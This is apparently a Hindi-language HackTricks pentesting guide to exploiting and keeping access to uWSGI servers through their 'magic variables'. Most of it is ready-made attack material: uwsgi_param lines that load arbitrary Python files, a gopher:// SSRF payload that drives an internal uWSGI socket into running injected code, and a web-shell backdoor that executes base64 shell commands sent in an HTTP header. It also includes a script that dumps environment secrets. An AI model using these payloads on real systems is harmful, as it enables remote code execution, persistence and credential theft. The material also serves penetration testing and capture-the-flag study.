WSGI पोस्ट-एक्सप्लॉइटेशन ट्रिक्स
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
WSGI अवलोकन
Web Server Gateway Interface (WSGI) एक specification है जो बताती है कि एक web server कैसे web applications के साथ संचार करता है, और कैसे web applications को एक अनुरोध को प्रोसेस करने के लिए chaining के माध्यम से जोड़ा जा सकता है। uWSGI सबसे लोकप्रिय WSGI servers में से एक है, अक्सर Python web applications को serve करने के लिए उपयोग किया जाता है।
uWSGI मैजिक वेरिएबल्स का शोषण
uWSGI विशेष "magic variables" प्रदान करता है जिन्हें server व्यवहार को dynamic रूप से configure करने के लिए उपयोग किया जा सकता है। ये variables HTTP headers के माध्यम से सेट किए जा सकते हैं और यदि सही तरह से validate न किए जाएँ तो गंभीर सुरक्षा कमजोरियाँ पैदा कर सकते हैं।
प्रमुख शोषणीय वेरिएबल्स
UWSGI_FILE - मनमानी फ़ाइल निष्पादन
uwsgi_param UWSGI_FILE /path/to/python/file.py;
यह वेरिएबल किसी भी Python फाइलों को WSGI एप्लिकेशन के रूप में लोड और निष्पादित करने की अनुमति देता है। अगर कोई attacker इस पैरामीटर को नियंत्रित कर सकता है, तो वे Remote Code Execution (RCE) हासिल कर सकते हैं।
UWSGI_SCRIPT - Script Loading
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
निश्चित स्क्रिप्ट को एक नए एप्लिकेशन के रूप में लोड करता है। file upload या write capabilities के साथ संयोजन में, इससे RCE हो सकता है।
UWSGI_MODULE and UWSGI_CALLABLE - डायनामिक मॉड्यूल लोडिंग
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
ये पैरामीटर्स arbitrary Python modules लोड करने और उनके भीतर specific functions कॉल करने की अनुमति देते हैं।
UWSGI_SETENV - Environment Variable Manipulation
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
environment variables को संशोधित करने के लिए उपयोग किया जा सकता है, जो संभावित रूप से एप्लिकेशन के व्यवहार को प्रभावित कर सकता है या malicious configuration लोड कर सकता है।
UWSGI_PYHOME - Python Environment में हेरफेर
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Python virtual environment को बदलता है, जिससे संभवतः malicious packages या अलग Python interpreters लोड हो सकते हैं।
UWSGI_CHDIR - Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
यह requests को प्रोसेस करने से पहले working directory बदल देता है, जिसे path traversal attacks के लिए उपयोग किया जा सकता है।
SSRF + Gopher to
आक्रमण वेक्टर
जब uWSGI SSRF (Server-Side Request Forgery) के माध्यम से पहुँच योग्य होता है, तो attackers internal uWSGI socket के साथ इंटरैक्ट करके magic variables का शोषण कर सकते हैं। यह विशेष रूप से खतरनाक होता है जब:
- एप्लिकेशन में SSRF कमजोरियाँ हों
- uWSGI एक आंतरिक पोर्ट/सॉकेट पर चल रहा हो
- एप्लिकेशन magic variables को सही तरीके से सत्यापित नहीं करता हो
uWSGI SSRF के कारण पहुँच योग्य है क्योंकि config file uwsgi.ini में यह मौजूद है: socket = 127.0.0.1:5000 जो इसे वेब एप्लिकेशन से SSRF के माध्यम से पहुँच योग्य बना देता है।
शोषण का उदाहरण
चरण 1: Malicious Payload बनाएँ
सबसे पहले, Python code को सर्वर द्वारा एक्सेस की जा सकने वाली फ़ाइल में इंजेक्ट करें (सर्वर के अंदर फ़ाइल लिखना, फ़ाइल का extension मायने नहीं रखता):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
चरण 2: uWSGI प्रोटोकॉल अनुरोध तैयार करें
Gopher प्रोटोकॉल का उपयोग करके raw uWSGI packets भेजें:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
यह payload:
- uWSGI के port 5000 पर कनेक्ट होता है
UWSGI_FILEको दुर्भावनापूर्ण फ़ाइल की ओर पॉइंट करने के लिए सेट करता है- uWSGI को Python code को लोड और execute करने के लिए मजबूर करता है
uWSGI प्रोटोकॉल संरचना
uWSGI प्रोटोकॉल एक बाइनरी फ़ॉर्मेट का उपयोग करता है जहाँ:
- Variables को length-prefixed strings के रूप में एन्कोड किया जाता है
- प्रत्येक variable में होता है:
[name_length][name][value_length][value] - पैकेट एक header के साथ शुरू होता है जो कुल आकार (total size) रखता है
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
फिर इस backdoor को लोड करने के लिए UWSGI_FILE का उपयोग करें:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
पर्यावरण-आधारित Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. सूचना प्रकटीकरण
Environment Variable Dumping
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
फ़ाइल सिस्टम एक्सेस
संवेदनशील फ़ाइलों तक पहुँचने के लिए UWSGI_CHDIR को file serving के साथ मिलाकर उपयोग करें:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
यदि uWSGI elevated privileges के साथ चलता है, तो attackers socket permissions को manipulate कर सकते हैं:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
कॉन्फ़िगरेशन ओवरराइड
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks